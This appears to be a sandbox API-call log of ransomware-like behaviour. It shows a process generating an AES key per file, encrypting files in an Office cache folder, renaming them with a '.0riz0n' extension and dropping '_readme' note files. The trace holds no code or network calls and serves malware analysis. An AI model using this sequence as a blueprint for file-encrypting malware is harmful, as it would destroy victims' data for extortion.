[0076.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0076.723] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0076.723] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0076.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0076.723] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0076.723] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0076.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0076.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0076.723] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0076.723] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0076.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd7200) returned 0x2350020 [0076.724] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0xd7200, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0xd7200, lpOverlapped=0x0) returned 1 [0076.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd7200) returned 0x2430020 [0076.756] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0076.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd7200) returned 0x2350020 [0076.760] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0076.768] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2430020) returned 1 [0076.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd7600) returned 0x2430020 [0076.780] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2430020*, pdwDataLen=0x17af858*=0xd7200, dwBufLen=0xd7600 | out: pbData=0x2430020*, pdwDataLen=0x17af858*=0xd7210) returned 1 [0076.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd7240) returned 0x2510020 [0076.794] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0076.798] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2430020) returned 1 [0076.802] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0076.802] WriteFile (in: hFile=0x1f0, lpBuffer=0x2510020*, nNumberOfBytesToWrite=0xd7200, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2510020*, lpNumberOfBytesWritten=0x17af85c*=0xd7200, lpOverlapped=0x0) returned 1 [0076.804] FlushFileBuffers (hFile=0x1f0) returned 1 [0076.810] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0076.810] NtClose (Handle=0x1f0) returned 0x0 [0076.815] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.0riz0n")) returned 1 [0076.815] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0076.815] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0076.815] GetLastError () returned 0x2 [0076.816] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6828, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0076.816] GetLastError () returned 0x2 [0076.816] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0076.816] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0076.816] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0076.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0076.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0xfcca98 [0076.819] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f9, lpOverlapped=0x0) returned 1 [0076.819] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x427a8130, dwHighDateTime=0x1d59598)) returned 1 [0076.819] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0076.819] NtClose (Handle=0x1f0) returned 0x0 [0076.820] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0076.820] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0076.820] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0076.820] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2510020) returned 1 [0076.823] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0076.824] CryptDestroyKey (hKey=0x459b38) returned 1 [0076.824] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0076.824] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0076.824] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0076.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0076.824] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1)) returned 1 [0076.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0076.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0076.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0076.824] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0076.824] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0076.824] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0076.824] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0076.824] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1)) returned 1 [0076.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0076.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0076.824] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0076.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0076.825] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0076.825] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1)) returned 1 [0076.825] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0076.825] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0076.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0076.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0076.825] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0076.825] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0076.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0076.825] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf4e37e00, dwHighDateTime=0x1d301be)) returned 1 [0076.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0076.825] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0076.825] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0076.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0076.825] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0076.825] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0076.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0076.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0076.826] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0076.826] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0076.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5c0) returned 0xf3a868 [0076.826] ReadFile (in: hFile=0x1f0, lpBuffer=0xf3a868, nNumberOfBytesToRead=0x5b1, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf3a868*, lpNumberOfBytesRead=0x17af85c*=0x5b1, lpOverlapped=0x0) returned 1 [0076.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5c0) returned 0xef94d8 [0076.827] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf3a868) returned 1 [0076.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5c0) returned 0xf3a868 [0076.828] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0076.828] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef94d8) returned 1 [0076.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x9c0) returned 0x1acf180 [0076.828] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1acf180*, pdwDataLen=0x17af858*=0x5b1, dwBufLen=0x9b1 | out: pbData=0x1acf180*, pdwDataLen=0x17af858*=0x5c0) returned 1 [0076.828] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0076.828] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0076.828] WriteFile (in: hFile=0x1f0, lpBuffer=0xf3a868*, nNumberOfBytesToWrite=0x5b1, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf3a868*, lpNumberOfBytesWritten=0x17af85c*=0x5b1, lpOverlapped=0x0) returned 1 [0076.828] FlushFileBuffers (hFile=0x1f0) returned 1 [0076.831] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0076.831] NtClose (Handle=0x1f0) returned 0x0 [0076.832] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.0riz0n")) returned 1 [0076.832] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0076.833] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0076.833] GetLastError () returned 0x2 [0076.833] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6848, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0076.833] GetLastError () returned 0x2 [0076.833] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0076.833] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0076.833] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0076.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0076.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x17) returned 0x1baf768 [0076.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd608 [0076.834] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1baf768) returned 1 [0076.834] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd608) returned 1 [0076.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2d1) returned 0x1a8ea68 [0076.834] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f5, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f5, lpOverlapped=0x0) returned 1 [0076.834] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x427ce290, dwHighDateTime=0x1d59598)) returned 1 [0076.834] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0076.834] NtClose (Handle=0x1f0) returned 0x0 [0076.835] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0076.835] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0076.835] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0076.835] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf3a868) returned 1 [0076.835] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0076.835] CryptDestroyKey (hKey=0x459b38) returned 1 [0076.835] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0076.835] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0076.836] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0076.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0076.836] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54)) returned 1 [0076.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0076.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0076.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0076.836] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0076.836] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0076.836] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0076.836] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0076.836] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54)) returned 1 [0076.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0076.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0076.836] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0076.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0076.836] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0076.837] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54)) returned 1 [0076.837] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0076.837] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0076.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0076.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0076.837] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0076.837] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0076.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0076.837] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf3076b00, dwHighDateTime=0x1d301be)) returned 1 [0076.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0076.837] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0076.837] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0076.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0076.837] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 